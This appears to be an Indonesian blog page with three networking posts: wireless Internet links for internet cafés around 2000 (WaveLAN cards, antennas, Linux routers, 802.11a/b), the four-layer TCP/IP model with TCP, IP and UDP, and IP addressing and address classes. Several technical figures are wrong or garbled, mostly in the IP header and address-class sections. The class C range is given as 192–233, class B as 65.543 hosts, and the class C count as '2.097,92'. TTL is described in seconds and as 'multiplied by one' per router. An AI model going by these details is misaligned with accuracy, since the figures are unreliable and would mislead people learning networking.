Pada hari ini (menjelang akhir tahun 2000), teknologi wireless Internet menjadi alternatif yang perlu diperhitungkan oleh operator telkom & Indosat. Hari ini telkom menyewakan saluran 2Mbps-nya seharga Rp. 10 juta / bulan – padahal dengan menggunakan peralatan wireless Internet yang ada di pasaran, kita dapat mengoperasikan saluran berkecepatan 11Mbps dengan investasi sekitar Rp. 20 juta-an dengan biaya ijin frekuensi sekitar Rp 2 juta-an per tahun. Bahkan pada hari ini semakin banyak WARNET di berbagai kota (Bandung, Medan, Jogya dll) mulai membangun jaringan antar WARNET-nya menggunakan teknologi-teknologi wireless tersebut. Belum lagi dengan masuknya berbagai operator satelit (juga wireless) dalam kancah Internet Indonesia seperti Pasific Satellite Nusantara (PSN), Melesat (dari Infokom), PalapaNet (dari Satelindo), TelkomNet Turbo (dari Telkom) menambah marak infrastruktur Internet wireless di Indonesia – yang pada akhirnya memungkinkan kita untuk membangun akses Internet yang murah bagi rakyat Indonesia.

Peralatan kunci yang dibutuhkan adalah sebuah card WaveLAN yang pada hari ini umumnya berbentuk card PCMCIA seperti tampak pada gambar di samping. Pada gambar card ORINICO yang dibuat oleh Lucent yang bekerja pada frekuensi 2.4GHz berkecepatan 11Mbps menggunakan protokol IEEE 802.11b yang dimodulasi menggunakan CDMA (Code Division Multiple Access) sehingga pada frekuensi yang sama bisa bekerja beberapa saluran sekaligus.


Jika terjadi masalah di link, ORINOCO akan melakukan fallback kecepatan secara otomatis ke 5.5Mbps, 2Mbps & 1 Mbps agar performance tetap baik. ORINOCO mengikuti standard WECA (Wireless Ethernet Compatibility Alliance) Wi-Fi 'wireless fidelity' standard. Daya pancar dari card-card WaveLAN ini biasanya sangat rendah sekitar 25mW saja.


Untuk menambah jarak jangkau pancaran WaveLAN tersebut dibutuhkan antenna external (yang diletakan di luar gedung). Umumnya untuk jarak-jarak 5-10 km dapat dicapai dengan menggunakan antenna external tersebut.Masalah utama-nya karena umumnya card wavelan tersebut berdaya rendah sekitar 25 mW-an, maka jarak antara card wavelan dengan antenna-nya tidak bisa terlalu jauh supaya sinyal tidak hilang di kabel coax yang menghubungkan card wavelan dengan antenna
tersebut. Biasanya kabel penghubungnya (berupa coax 50 ohm yang baik), dibatasi kurang dari 10 meter jaraknya. Jadi jangan kaget, kalau kita akan melihat komputer (PC) di letakan di atap WARNET-WARNET yang saling berhubungan menggunakan media wavelan ini, karena mau tidak mau PC harus di letakan di atap supaya jarak antara card ke antenna dapat di buat seminimal mungkin dibawah 10 meter.

Setelah Card WaveLAN & Antenna-nya beres, strategi selanjutnya adalah mencari tahu bagaimana supaya kita bisa menggunakan PC yang banyak dipasaran agar dapat berfungsi sebagai router. Biasanya pada saat kita membeli card wavelan di sediakan perangkat lunak driver-nya untuk sistem operasi Windows. Sialnya Windows tidak baik jika digunakan untuk router di jaringan Internet, berbeda dengan UNIX baik itu Linux & FreeBSD jauh lebih baik untuk aplikasi router di Internet. Pada router ini kita pasangkan dua (2) interface jaringan, yang satu berupa card wavelan 2-11Mbps untuk komunikasi jarak jauh sedang yang lain berupa card ethernet untuk menyambungkan local area network (LAN) dari WARNET, sekolah atau kantor yang lokal di gedung / ruangan



Seni-nya adalah bagaimana meyakinkan ISP tempat kita menyambung agar bersedia untuk dihubungkan dengan WaveLAN. Beberapa ISP dengan senang hati bersedia di sambungkan menggunakan WaveLAN, tapi ada beberapa ISP terutama dari kaum monopoli telekomunikasi yang tidak bersedia untuk di sambungkan dengan WaveLAN. Masalahnya sebetulnya hanya masalah perijinan frekuensi & membayar ke ISP untuk akses dedicated 24 jam berkecepatan tinggi.


Jeroan Wireless Broadband Internet Access


Teknologi WLAN 2.4GHz, 5.8GHz, 5GHz berkembang pesat sekali terutama karena pembebasan ijin frekuensi di band ISM maupun band UNII (Unlicensed National Information Infrastructure) oleh pemerintah Amerika Serikat. Standar komunikasi data yang digunakan umumnya adalah keluarga IEEE 802.11, dimana IEEE 802.11b mempunyai kecepatan maksimum 11Mbps, sedang IEEE 802.11a mempunyai kecepatan maksimum 54Mbps.

Sedikit gambaran teknologi IEEE 802.11a bekerja pada 5GHz yang tampaknya akan menjadi masa depan teknologi Internet kecepatan tinggi dunia. Salah satu terobosan teknologi yang terjadi dilakukan oleh Radiata www.radiata.com yang membangun chip set yang terdiri dari sebuah based band modem (R-M11a) dan sebuah transceiver (R-RF5) di 5GHz UNII band yang berdasarkan IEEE 802.11a terutama dibuat untuk mengantisipasi pasar WLAN yang di estimasikan mencapai US$5.6 milyar pada tahun 2004 oleh Cahners In-Stat Group. Harganya berapa? Chipset R-M11a baseband modem & R-RF5 radio transceiver yang bisa bekerja s/d 54Mbps diperoleh seharga US$35 dalam jumlah 100,000 buah. Memang masih harus di rakit dalam kemasan PCMCIA untuk digunakan di komputer, jatuh-nya per PCMCIA card bisa mencapai US$200-3000 / card.

Pada IEEE 802.11b yang saat ini banyak menggunakan 2.4GHz band untuk bluetooth maupun peralatan HomeRF banyak digunakan teknologi spread spectrum menggunakan teknologi Direct Sequence Spread Spectrum (DSSS) maupun Frequency Hoping Spread Spectrum (FHSS) yang menjadi bagian teknik akses berbasis Code Division Multiple Access (CDMA).

Berbeda dengan IEEE 802.11b yang sekarang banyak digunakan, pada IEEE 802.11a digunakan teknik modulasi Coded Orthogonal Frequency Division Multiplexing (COFDM) yang memungkinkan kita untuk memperoleh sambungan berkualitas tidak berbeda dengan sambungan kabel dalam lingkungan indoor (dalam ruang).

Baseband modem yang compliant dengan standar IEEE 802.11a biasanya diimplementasikan dengan jalur transmit & receive yang sama sekali independen, sehingga memungkinkan untuk operasi bersamaan secara full duplex. Alternatif modulasi BPSK, QPSK, 16-QAM & 64-QAM yang memungkinkan bekerja pada berbagai kecepatan yang wajib maupun yang sunat berdasarkan IEEE 802.11a. Daya yang digunakan sangat rendah dengan bekerja pada tegangan 2.5V.

Peralatan transceiver 5GHz UNII band berbasis standar IEEE 802.11a yang dikembangkan biasanya mempunyai dynamic range yang lebar dengan komponen yang seminimal mungkin. Penggunaan filter external dikurangi dengan cara penggunaan mixer dan on-chip filter, yang pada akhirnya mengurangi biaya sistem. Receiver (Rx) yang linear dengan sakelar bypass ke Low Noise Amplifier (LNA). Noise figure receiver (Rx) sekitar 6dB, power pemancar (Tx) dari chip 0dBm (bisa dikuatkan lagi jika dibutuhkan), IF Filter 20MHz, 70dB Rx programmable gain control, 60 dB TX programmable power control.










…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.

Arsitektur Protokol TCP/IP


A. Tijnauan Singkat Arsitektur Protocol TCP/IP
Protocol-protocol TCP/IP memberikan dukungan jaringan untuk menghubungkan seluruh tempat dan host serta mengikuti aturan standar tentang bagaimana komputer-komputer berkomunikasi dan bagaimana jaringan-jaringan diinterkoneksikan. Protocol-protocol TCP/IP mengikuti model konsep empat layer yang dikenal sebagai model Department of Defense (DOD): Application, Transport, Internet, dan Network Interface, sebagaimana dijelaskan pada Gambar 1.
 gambar1.PNG
Gambar 1. Model konsep empat layer
1. Layer Application
Layer Application terletak di atas pada model TCP/IP konsep empat layer dan merupakan tempat program software memperoleh akses ke jaringan. Layer ini kira-kira sesuai dengan layer Session, layer Presentation, dan layer Application pada model OSI. Beberapa layanan dan utiliti TCP/IP beroperasi pada Layer Application. Layanan dan utiliti tersebut meliputi:
  • HyperText Transfer Protocol (HTTP). HTTP adalah protocol yang dipakai untuk mayoritas komunikasi World Wide Web. Windows 2003 menghadirkan Internet Explorer sebagai client HTTP dan Internet Information Services (IIS) sebagai server HTTP.
  • File Transfer Protocol (FTP). FTP adalah suatu layanan Internet yang mentransfer file-file dari satu komputer ke komputer lain. Internet Explorer dan FTP utiliti yang termasuk command-line bertindak sebagai client FTP. IIS menyediakan server FTP.
  • Simple Mail Transfer Protocol (SMTP). SMTP merupakan suatu protocol yang dipakai server mail untuk mentransfer e-mail. IIS dapat mengirimkan pesan-pesan dengan memakai protocol SMTP.
  • Telnet. Telnet adalah suatu protocol yang menyamai terminal yang dapat dipakai untuk me-logon ke host jaringan yang jauh. Telnet menawarkan para pemakai suatu kapabilitas dalam mengoperasikan program-program secara jauh dan memudahkan administrasi yang jauh. Telnet secara praktis memang disediakan untuk semua sistem operasi dan mengurangi integrasi dalam lingkungan jaringan yang heterogen. Windows 2003 memberikan baik server maupun client Telnet.
  • Domain Name System (DNS). DNS merupakan seperangkat protocol dan layanan pada suatu jaringan TCP/IP yang membolehkan para pemakai jaringan untuk mempergunakan nama-nama hierarki yang sudah dikenal ketika meletakkan host ketimbang harus mengingat dan memakai alamat IP-nya. DNS sangat banyak dipakai di Internet dan pada kebanyakan perusahaan pribadi dewasa ini. Saat Anda memakai Web browser, aplikasi Telnet, utiliti FTP, atau utiliti TCP/IP mirip lainnya di Internet, maka Anda mungkin sedang memakai sebuah server DNS. Windows 2003 menyediakan juga server DNS.
  • Simple Network Management Protocol (SNMP).  SNMP memungkinkan Anda untuk mengelola node jaringan seperti server, workstation, router, bridge, dan hub dari host sentral. SNMP dapat *** dipakai untuk mengonfigurasi device yang jauh, memantau unjuk kerja jaringan, mendeteksi kesalahan jaringan atau akses yang tidak cocok, dan mengaudit pemakaian jaringan.
2. Network Application API
TCP/IP Microsoft menyediakan dua interface bagi aplikasi-aplikasi jaringan untuk memakai layanan-layanan stack protocol TCP/IP:
  • WinSock. Implementasi Windows 2003 sangat banyak memakai Socket API (application programming interface).  Socket API adalah mekanisme standar untuk mengakses layanan-layanan datagram dan session pada TCP/IP.
  • NetBIOS.  Suatu API standar yang dipakai sebagai suatu mekanisme inter-process communication (IPC) di lingkungan Windows. Meskipun NetBIOS dapat dipakai untuk menyediakan koneksi standar ke protocol-protocol yang mendukung layanan-layanan penyampaian pesan dan penamaan NetBIOS, misalnya TCP/IP dan NetBEUI, namun NetBIOS disertakan di dalam Windows 2003 terutama sekali untuk mendukung aplikasi-aplikasi peninggalan.
3. Layer Transport
Protocol-protocol transport menghadirkan sesi komunikasi di antara komputer-komputer dan menentukan tipe layanan transport entah berorientasi koneksi (TCP) ataupun berorientasi datagram yang tanpa koneksi (UDP). TCP menyajikan komunikasi berorientasi koneksi yang dapat diandalkan untuk aplikasi-aplikasi yang secara khusus mentransfer sejumlah besar data pada suatu waktu. TCP juga dipakai untuk aplikasi-aplikasi yang memerlukan pengakuan bagi data yang diterima. Namun demikian, UDP menyediakan komunikasi tanpa koneksi dan tidak menjamin mampu mengirimkan paket.
Aplikasi-aplikasi yang memakai UDP secara khusus mentransfer sejumlah kecil data pada suatu waktu. Pengiriman data yang dapat diandalkan merupakan tanggung jawab aplikasi. Layer Transport pada model DOD kira-kira sesuai dengan Layer Transport pada model OSI.
4. Layer Internet
Protocol-protocol Internet meng-encapsulate paket-paket menjadi datagram Internet dan mengoperasikan semua algoritma routing yang diperlukan. Fungsi-fungsi routing yang dikerjakan Layer Internet memang dibutuhkan untuk memungkinkan host meng-interoperate dengan jaringan-jaringan lain. Layer Internet kira-kira sesuai dengan Layer Network pada model OSI. Lima protocol yang diimplemen-tasikan pada layer ini:
  • Address Resolution Protocol (ARP), yang menentukan alamat hardware pada host.
  • Reverse Address Resolution Protocol (RARP), yang menyediakan resolusi alamat kebalikan pada host yang menerima. (Walaupun Microsoft tidak mengimplementasikan protocol RARP, namun bisa ditemukan sistem-sistem milik vendor lain dan dicantumkan juga di sini demi kelengkapan).
  • Internet Control Message Protocol (ICMP), yang mengirimkan pesan-pesan kesalahan ke IP ketika terjadi problem.
  • Internet Group Management Protocol (IGMP), yang menginformasikan router tentang ketersediaan anggota-anggota pada grup multicast.
  • Internet Protocol (IP), yang mengalamatkan dan meroute paket-paket.
5. Layer Interface Network
Model yang paling mendasar adalah Layer Interface Network. Masing-masing tipe local area network (LAN), tipe metropolitan area network (MAN), tipe WAN, dan tipe dial-up, misalnya Ethernet, Token Ring, Fiber Distributed Data Interface (FDDI), dan ARCnet, mempunyai persyaratan yang berbeda untuk pengkabelan, pembuatan sinyal, dan penyandian data. Layer Interface Network menetapkan persyaratan yang ekuivalen dengan Layer Data Link dan Layer Physical pada model OSI. Layer Interface Network bertanggung jawab untuk mengirimkan dan menerima frame, yang merupakan paket-paket informasi yang ditransmisikan pada suatu jaringan sebagai suatu unit tunggal. Layer Interface Network meletakkan frame pada jaringan dan mengeluarkan frame dari jaringan.
6. Teknologi-teknologi WAN TCP/IP
Ada dua kategori teknologi WAN yang utama yang didukung oleh TCP/IP:
  • Serial line, yang menyediakan dial-up analog, saluran digital, dan saluran yang disewakan. TCP/IP secara khusus ditransportasikan pada serial line dengan memakai entah Serial Line Internet Protocol (SLIP) ataupun Point-to-Point Protocol (PPP). Server Windows 2003 mendukung kedua protocol tersebut dengan Routing and Remote Access Service. Karena PPP menyediakan deteksi kesalahan, penanganan konfigurasi, dan keamanan yang lebih baik dibanding SLIP, maka Anda dianjurkan memakai protocol untuk komunikasi serial line.
  • Packet-switched network, yang menyajikan X.25, frame relay, dan asynchronous transfer mode (ATM).
  • Catatan: Windows 2003 mendukung hanya fungsionalitas client SLIP, bukan fungsionalitas server SLIP. Windows 2003 Routing and Remote Access Service tidak mampu menerima koneksi client SLIP.
B. Transmission Control Protocol
Transmission Control Protocol (TCP) merupakan suatu layanan pengiriman berorientasi koneksi yang dapat diandalkan. Data TCP ditransmisikan dalam segmen-segmen dan suatu sesi harus ditetapkan sebelum host dapat mempertukarkan data. TCP memakai komunikasi byte-stream, yang berarti bahwa data diperlakukan sebagai suatu rangkaian byte.
TCP mampu mencapai keterandalannya dengan menugaskan rangkaian angka ke setiap segmen yang ditransmisikan. Jika suatu segmen dibagi menjadi potongan-potongan yang lebih kecil, maka host penerima mengerti apakah semua potongan itu sudah diterima. Suatu pengakuan akan memverifikasi bahwa host lain sudah menerima data itu. Bagi setiap segmen yang dikirimkan, host penerima harus menghasilkan acknowledgment (ACK) dalam periode tertentu. Bila pengirim tidak menerima ACK, maka data tersebut ditransmisikan ulang. Kalau segmen yang diterima ternyata rusak, maka host penerima akan membuangnya. Karena dalam kasus ini ACK tidak dikirimkan, maka pengirim mentransmisikan ulang segmen itu.
1. Internet Protocol (IP)
Kendati TCP memisahkan data menjadi paket-paket yang berlainan dan bertanggung jawab untuk menjamin pengirimannya, namun IP melakukan pengiriman yang sesungguhnya. Pada Layer IP, masing-masing paket yang masuk atau keluar dianggap sebagai suatu datagram. Field datagram IP di dalam tabel yang menyertainya ditambahkan ke header ketika sebuah paket disampaikan dari Layer Interface Network.
Field
Fungsi
Alamat IP Sumber                
Mengidentifikasi pengirim datagram melalui alamat IP.
Alamat IP Tujuan                 
Mengidentifikasi tujuan datagram melalui alamat IP.
Protocol 
Menginformasikan IP pada host tujuan apakah menyampaikan paket ke TCP atau UDP.
Checksum
Suatu komputasi matematika sederhana yang dipakai untuk memverifikasi bahwa paket yang tiba ternyata utuh.
Time to Live (TTL)             
Menandai berapa detik yang diizinkan dalam transport suatu datagram sebelum datagram itu dibuang. Hal ini mencegah paket-paket di-looping terlalu lama dalam suatu internetwork. Setiap router yang menyampaikan paket akan memutuskan TTL dikalikan satu. Default TTL pada  Windows 2003 adalah 128 detik.
2. User Datagram Protocol
UDP menawarkan suatu layanan datagram tanpa koneksi yang menjamin entah pengiriman atau pengurutan paket-paket yang dikirimkan secara benar. Checksum data UDP bersifat opsional, yang menyediakan suatu cara untuk mempertukarkan data pada jaringan-jaringan yang sangat diandalkan tanpa perlu membutuhkan waktu pemrosesan atau sumber daya jaringan. UDP dipakai oleh aplikasi-aplikasi yang tidak memerlukan pengakuan tentang kuitansi data. Aplikasi tersebut secara khusus mentransmisikan sejumlah kecil data pada suatu waktu. Paket-paket yang disiarkan harus memakai UDP. Contoh layanan dan aplikasi yang memakai UDP adalah DNS, RIP, dan SNMP.
Catatan:
  1. TCP/IP merupakan seperangkat protocol berstandar industri yang dirancang untuk WAN. Penambahan TCP/IP ke konfigurasi Windows 2003 memberikan beberapa keuntungan, yang meliputi keamanan, skalabilitas, keterandalan, dan interopera-bility yang cukup tinggi. Windows 2003 menyediakan sejumlah utiliti yang dapat menolong Anda berhubungan ke host berbasis TCP/IP atau menolong Anda mencari dan memecahkan problem koneksi TCP/IP.
  2. Protocol-protocol TCP/IP memakai model konsep empat layer: Application, Transport, Internet, dan Network Interface. IP beroperasi pada level Internet dan mendukung secara virtual semua teknologi interface WAN dan LAN, misalnya Ethernet, Token Ring, Frame Relay, dan ATM. IP adalah suatu protocol tanpa koneksi yang mengalamatkan dan me-route paket di antara host-host. IP tidak dapat diandalkan karena pengiriman tidak dijamin.
  3. Pada Layer Transport, TCP memperlengkapi IP dengan pengiriman berorientasi koneksi yang dapat diandalkan. Saat suatu sesi ditetapkan, TCP mengirimkan data melalui angka-angka port yang unik ke aplikasi. UDP, sebuah protocol transport alternatif, adalah suatu layanan datagram tanpa koneksi yang tidak menjamin pengiriman paket-paket. UDP dipakai oleh aplikasi-aplikasi yang tidak membutuhkan pengakuan tentang kuitansi data.
sumber : http://wss-id.org

…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.

Mengenal tentang protokol TCP/IP dan definisinya

  Definisi Protocol TCP/IP

TCP adalah nama protokol jaringan. Sedangkan protokol dapat diilustrasikan sebagai suatu seperangkat aturan perusahaan-perusahaan dan produk software yang harus melekat ke dalam suatu urutan yang membuat produk-produk mereka dapat kompatibel dengan yang lainnya. Aturan-aturan tersebut untuk memastikan komputer yang menjalankan TCP/IP versi Hewlett Packard dapat berhubungan dengan PC Compaq yang menjalankan TCP/IP ataupun dengan Mainframe. Jika ditinjau dari metode cara kerjanya, maka vendor software yang memproduksi tidak begitu pending bagi sistem TCP/IP. TCP/IP merupakan protokol terbuka, maksudnya adalah semua spesifikasi dari protokol disebarkan dan digunakan oleh siapa saja.

TCP/IP hanya terdiri dari lima layer saja dari tujuh fungsi model OSI. Berikut ini adalah layer dari protokol TCP/IP:
  • Layer 5 ~ layer Application. Aplikasi-aplikasi seperti FTP, Telnet, SMTP dan NFS direlasikan ke layer ini.
  • Layer 4 ~ Layer Transport. Di dalam layer ini, TCP dan UDP menambahkan data transport ke paket dan melewatinya ke layer internet.
  • Layer 3 ~ Layer Internet. Pada saat memulai aksi pada lokal host Anda (host pemrakarsa) tersebut dilakukan atau merespon ke host lain (host penerima), layer ini mengambil paket dari layer transport dan menambahkan informasi IP sebelum mengirimkannya ke layer-layer Network Interface.
  • Layer 2 ~ Layer Network Interface. Device jaringan inilah sebagai host atau komputer lokal. Melalui media inilah data tesebut  dikirim ke layer Physical.
  • Layer 1 ~ Layer Physical. Layer 1 secara harafiah adalah Ethernet, protokol Poin-to-Point, atau Serial Line Interface Protocol (SLIP) itu sendiri. Dengan kata lain layer ini merupakan sistem kabelnya.
Setiap layer menambahkan data header dan trailer ke dalam masing-masing layer, kemudian pesan tersebut dipaketkan dari layer diatasnya. Pada host penerima, data dibuka paketnya satu layer pada saat itu juga, dan kemudian informasi dikirim ke level tertinggi berikutnya sampai ia mencapai host aplikasi.

Pengalamatan IP

Pengalamatan jaringan (network address) tidak seperti physical addresses yang melebur ke dalam hardware manapun. Pengalatan jaringan diberikan oleh Administrator jaringan dan secara logika dikonfigurasikan kedalam device jaringan.
Selain pengalamatan logik untuk subnet, TCP/IP memberikan alamat logik ke masing-masing host pada jaringan. Meskipun pengalamatan tersebut menyulitkan setup jaringan, pengalamatan IP secara logik mempunyai beberapa keuntungan, yaitu:
  • Pengalamatan IP secara logik bebas menentukan peng-implementasian physical layer. Pemrosesan layer teratas dapat menggunakan pengalamatan logika tanpa memperhatikan mereka sendiri dengan format alamat dari physical layer di bawahnya.
  • Device dapat mempertahankan alamat IP yang sama, sekalipun physical layernya diganti. Mengubah jaringan dari Token Ring ke Ethernet tidak akan mempengaruhi pengalamatan IP.

Format Pengalamatan IP

Pengalamatan IP berupa nomor 32 bit yang terdiri dari alama Subnet dan Host. Metode yang digunakan untuk pengkodean alamat pada pengalamatan IP agak membingungkan bagi pengguna baru dan merupakan batu sandungan utama bagi pengguna baru TCP/IP.
Berikut ini adalah contoh alamat IP:
11001000010001110001001000011000
Alamat di atas tidak mudah diingat dan benar-benar sulit untuk mengenali perbedaan antara dua alamat dengan cepat. Anggaplah bahwa dua alamat ditempatkan tidak berdekatan dalam halaman yang sama, seberapa cepat Anda dapat mengetahui perbedaan antara alamat sebelumnya dan yang satu ini:
11001000100001110001001000011000
perubahan kecil pada alamat di atas akan membuat perbedaan besar pada fungsi alamat tersebut. Untuk memudahkan bekerja dengan pengalamatan IP, pengalamatan 32 bit secara khusus dibagi ke dalam 4 octet (8 bit section):
11001000 01000111 00010010 00011000
Ternyata masih belum mudah, tetapi pada langkah berikutnya dianggap paling mudah. Masing-masing octet dapat diterjemahkan ke dalam bilangan decimal dengan range antar 0 sampai 255. Hal ini akan menuntun kita ke metode yang lebih konvensional seperti yang ditunjukkan pada alamat IP berikut ini:
202.155.16.2
Format tersebut biasa disebut dengan dotted-decimal notation.

Class Alamat IP

Setiap alamat IP terdiri dari dua field, yaitu:
  • Field Net-Id, alamat jaringan logika dari subnet dimana komputer dihubungkan
  • Field Host-Id, alamat device logical yang secara khusus digunakan untuk mengenali masing-masing host pada subnet
Secara bersama-sama, net-id dan host-id menyediakan masing-masing host pada internetwork dengan alamat IP khusus.
struktur jaringan komputer
Pada saat protokol TCP/IP dibangun secara original, jaringan komputer tersebut akan masuk ke salah satu dari ketiga kategori berikut ini:
  • Jumlah jaringan kecil tersebut mempunyai jumlah host yang besar
  • Sejumlah jaringan dengan jumlah host sedang
  • Jumlah jaringan besar akan mempunyai jumlah host yang kecil
Untuk alasan tersebut, pengalamatan IP diorganisasikan ke dalam class-class. Anda dapat meng-identifikasikan class dari suatu pengalamatan IP dengan pemeriksaan octet pertama sebagai berikut:
  • Jika octet pertama mempunyai nilai dari 0 hingga 127, octet tersebut adalah alamat class A.  Karena 0 dan 127 di dalam octet tersebut mempunyai kegunanaan khusus, 126 pengalamatan class A dapat digunakan, masing-masing dapat mendukung 16.777.214 host
  • Jika octet pertama mempunyai nilai dari 128 hingga 191, ini adalah alamat class B, masing-masing dapat mendukung sampai 65.543 host
  • Jika octet pertama mempunyai nilai dari 192 hingga 233, maka ini adalah alamat class C. Ada 2.097,92 alamat class C yang dapat digunakan, masing-masing mendukung sampai 254 host
Untuk lebih lengkapnya DISINI




…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.